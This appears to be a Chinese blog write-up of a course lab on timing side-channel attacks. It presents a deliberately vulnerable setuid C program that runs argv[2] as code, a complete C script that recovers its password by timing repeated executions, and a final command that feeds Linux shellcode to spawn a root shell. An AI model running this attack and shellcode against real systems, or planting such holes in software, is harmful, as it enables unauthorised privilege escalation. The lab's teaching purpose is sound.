软件安全实验——lab10(一、基于时间的侧信道攻击)


边信道攻击实验:
  通过使用下面所提供的漏洞代码,设计一个攻击代码,利用边信道攻击的方式获取正确的密码,并执行后面的 shellcode 来获取一个 root shell,其中的s.pass 为 root 只读的密码文件。过程如下:

(1)漏洞代码:

//sidechannel.c
//s.pass root 只读
//S1deCh4nnelAttack3r
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
	 FILE *in = 0;
	 char pass[20]="";
	 unsigned int i=0, j=0;
	 unsigned short correct=0,misplaced=0;
	 unsigned short pwlen=strlen(pass) - 1, inlen=0;
	 if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)
	 return 1;
	 setresuid(geteuid(),geteuid(),geteuid());
	 in = fopen("s.pass","r");
	 pass[fread(pass, 1,19,in)] = 0;
	 fclose(in);
	 for (i = 0; i <= inlen && i <= pwlen; i++)
	 if(pass[i] == argv[1][i])
	 correct++;
	 else
	 for(j = 1; j < pwlen; j++)
	 if(argv[1][i] == pass[(i+j)%19])
	 misplaced++;
	 if(correct == 19)
		 把argv[2]指针强制类型转换成函数指针void (*)(),然后执行函数argv[2]();
		 ((void (*)()) argv[2])();
	 return 0;
}

  分析上述代码可知,判断输入的字符串和密码文件读取的字符串是否相等,它是逐个字符判断,如果当前字符和密码字符相等,旧执行一次指令;而如果不相等,就会执行pwlen次指令,而pwlen是一个溢出的很大的数0xffff(65535),所以会导致密码字符正确时程序执行时间比较短,密码字符错误时程序执行时间比较长。通过暴力破解判断输入所有不同的字符,对不同密码字符的程序执行时间长短进行比较,我们认为在每个位置上让程序执行时间最短的那个字符就是正确的密码字符,就可以获得正确密码。

(2)将密码文件s.pass设为root只读:

# chown root:root s.pass

在这里插入图片描述

(3)攻击代码为:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
int main()
{
	//所有的字符,包括数字和大小写字母
	char character[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
	//存储计算出的最后的密码字符串
	char result[19] = "";
	//当前字符
	//进程ID
	pid_t pid;
	//struct timeval有两个成员,一个是秒tv_sec,一个是微秒tv_usec
	struct timeval startTime,endTime;
	//每个字符运行程序所使用的时间/微秒
	long int tempTime = 0;
	//每个字符运行程序10次所使用的时间/微秒,用它来求平均值作为当前字符所使用的时间
	long int totalTime = 0;
	//每个字符运行程序的平均时间
	float averageTime = 0;
	//所使用的最少时间/微秒
	float minimumTime = 10000000;
	//所使用的最少时间对应的字符下标
	int minimumTimeLab = 0;
	int i,j,k;
	//对长度为19的字符串逐个破解
	for (i = 0; i < 19; i++)
	{
		//前18个密码字符
		if(i != 18 ){
			//所使用的最少时间为10000000微秒
			minimumTime = 10000000;
		}else{
			//需要计算最大时间,先初始化为0
			minimumTime = 0;
		}
		
		//每个位置上对63个字符逐个计算
		for (j = 0; j < 63; j++){
			//初始化每个字符运行程序10次所使用的时间为0
			totalTime = 0;
			//进行10轮循环取运行时间的平均值,减小偶然结果的影响
			for (k = 0; k < 10; k++)
			{
				//62个字符中的一个放在当前位置
				result[i] = character[j];
				//获取微秒级的系统当前时间,运行命令前的时间
				gettimeofday(&startTime,NULL);
				//在子进程中fork()返回0
				if ((pid = fork()) == 0) {
					//执行程序路径./sidechannel,要执行命令名sidechannel,参数result和"0",空指针(char *)0代表NULL参数结束结束
					execl("./sidechannel", "sidechannel", result, "0", (char *)0);
				}
				//在父进程中fork()返回创建新子进程的ID
				else {
					//等待新子进程结束,NULL不使用结束状态值,0不使用额外状态选项
					waitpid(pid, NULL, 0);
				}
				//获取微秒级的系统当前时间,运行命令后的时间
				gettimeofday(&endTime,NULL);
				//计算单次程序运行使用的秒和毫秒
				tempTime = (endTime.tv_sec - startTime.tv_sec) * 1000000 + (endTime.tv_usec - startTime.tv_usec);
				//加上单次程序运行使用的时间
				totalTime += tempTime;
			}
			averageTime = totalTime / 10 ;
			//前18个密码字符
			if(i != 18 ){
				//每个字符运行程序的平均时间最小的,作为正确的密码字符
				if(averageTime < minimumTime){
					//记录最小时间
					minimumTime = averageTime;
					//记录最小时间对应的字符下标
					minimumTimeLab = j;
				}
			//第19个密码字符
			}else{
				//每个字符运行程序的平均时间最大的,作为正确的密码字符
				if(averageTime > minimumTime){
					//记录最大时间
					minimumTime = averageTime;
					//记录最大时间对应的字符下标
					minimumTimeLab = j;
				}
			}
		}
		//把所使用的最少时间对应的字符,赋值给密码字符串
		result[i] = character[minimumTimeLab];
		printf("%s\n", result);
	}
	return 0;

}
其中

struct timeval {
time_t tv_sec; // seconds
long tv_usec; // microseconds
};

  struct timeval有两个成员,一个是秒,一个是微秒, 所以最高精确度是微秒。
  因为计算的时间是微秒级要求比较精准,在实验过程中,电脑运行的进程、磁盘的占用率过高可能会影响程序的运行的运行时间,从而可能导致某个时间某个字符的运行时间不够精准,所以尽量用性能比较好的电脑和后台程序尽量减少来运行程序,得到的结果都是比较精准的。
在这里插入图片描述
  多次运行,大概5秒钟就能找到正确的密码,后台程序比较少计时比较准确的时候密码的正确率基本是100%。
  找到正确密码之后,只需要运行漏洞程序,第一个参数为正确密码,第二个参数为shellcode,漏洞程序在调用参数2的函数指针时就会执行 shellcode,从而获得一个 root shell。

(4)可执行栈-z execstack选项:

提权编译程序的时候都要打开可执行栈-z execstack选项:

gcc -z execstack -o  sidechannel sidechannel.c

  不然就会发生段错误,因为执行shellcode就是利用栈的漏洞执行提权代码,如果不打开-z execstack选项的话栈不可执行,就会发生段错误,无法执行shellcode提权获得root权限。错误的截图如下所示:
在这里插入图片描述

(5)设置sidechannel文件的权限:

# chmod root.root sidechannel
# chmod 4755 sidechannel

  设置sidechannel文件root所属,4表示其他用户(seed)执行文件时,具有与所有者(root)相当的权限,不然就只能获得普通用户权限
在这里插入图片描述

(6)只有完成上面的步骤开始攻击:

./sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*100 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在这里插入图片描述

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值